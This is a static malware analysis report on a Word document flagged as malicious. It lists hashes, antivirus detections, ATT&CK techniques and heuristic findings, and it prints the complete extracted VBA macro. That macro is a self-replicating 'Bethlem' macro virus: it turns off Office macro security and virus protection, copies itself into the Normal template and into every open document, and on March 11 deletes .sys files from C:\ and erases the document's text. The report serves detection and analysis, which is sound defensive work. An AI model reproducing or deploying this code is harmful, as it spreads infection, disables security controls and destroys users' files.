Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5a02881b02451668…

MALICIOUS

Office (OLE)

44.5 KB Created: 2008-06-26 03:41:00 Authoring application: Microsoft Word 10.1 First seen: 2015-09-19
MD5: 1135a178d1282134a92c423ec7767020 SHA-1: edd78e190183847b8f40d27be77e81c0981f011e SHA-256: 5a02881b0245166846bd61c4b0cc47e5b5a91b654787e11bf4c5ee038d686ad5
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1553.005 Security Software Tampering

The sample contains VBA macros that attempt to disable macro security warnings and replicate themselves into the Normal template. This behavior is indicative of malware aiming for persistence and potential spread. The ClamAV detections 'Win.Trojan.Psycho-3' and 'Doc.Trojan.Thus-10' further support a malicious classification, although a specific family could not be confidently identified.

Heuristics 5

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
           NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
       .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
       .CodeModule.CountOfLines
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
'Bethlem'
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://en.wikipedia.org/wiki/Chaos_theory In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3867 bytes
SHA-256: 67e8cab82c3395712263635e3ef7b6b4885893cd86cf83566ebbfd7264c3cb4a
Detection
ClamAV: Doc.Trojan.Thus-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Bethlem'
    On Error Resume Next
    If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
       CommandBars("Macro").Controls("Security...").Enabled = False
       System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
    Else
       CommandBars("Tools").Controls("Macro").Enabled = False
       'I know that you see the code!!!!!
       'Bethlem loves you
       Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1):
       Options.CheckSpellingAsYouType = (1 - 1): Options.CheckGrammarWithSpelling = (1 - 1):
       ActiveDocument.ShowGrammaticalErrors = (1 - 1): ActiveDocument.ShowSpellingErrors = (1 - 1):
       ActiveDocument.SpellingChecked = True
    End If
'    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Bethlem?") = "...by PPC"
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Bethlem'" Then
       NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
       .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
       .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
       NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
       .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
       .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
       .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
       If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Bethlem'" Then
          Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
          .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
          .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
       End If
       If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
          Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
          .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
          .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
          .VBComponents.Item(1).CodeModule.CountOfLines)
       End If
    Next k
    If (Day(Now) = 11) And (Month(Now) = 3) Then
       MsgBox "Happy Birthday"
       File = Dir("c:\*.sys", 6)
       For BA = 1 To 10
          SetAttr "c:\" & File, vbNormal
          File = Dir
          If File = "" Then BA = 10
       Next BA
       Set fs = Application.FileSearch
       With fs
          .LookIn = "C:\"
          .FileName = "*.sys"
          .FileType = msoFileTypeAllFiles
          If .Execute(SortBy:=msoSortByFileName, _
             SortOrder:=msoSortOrderAscending) > 0 Then
             BC = .FoundFiles.Count
             File = Dir("c:\*.sys")
             For B = 1 To BC
                SetAttr "c:\" & File, vbNormal
                Kill ("c:\" & File)
                File = Dir
             Next B
          End If
       End With
       Set myRange = ActiveDocument.Range(Start:=0, End:=Selection.End)
       For Each xWord In myRange.Words
          xWord.Delete
          ActiveDocument.UndoClear
       Next xWord
    'Microsoft thanks for the examples are very useful
    End If
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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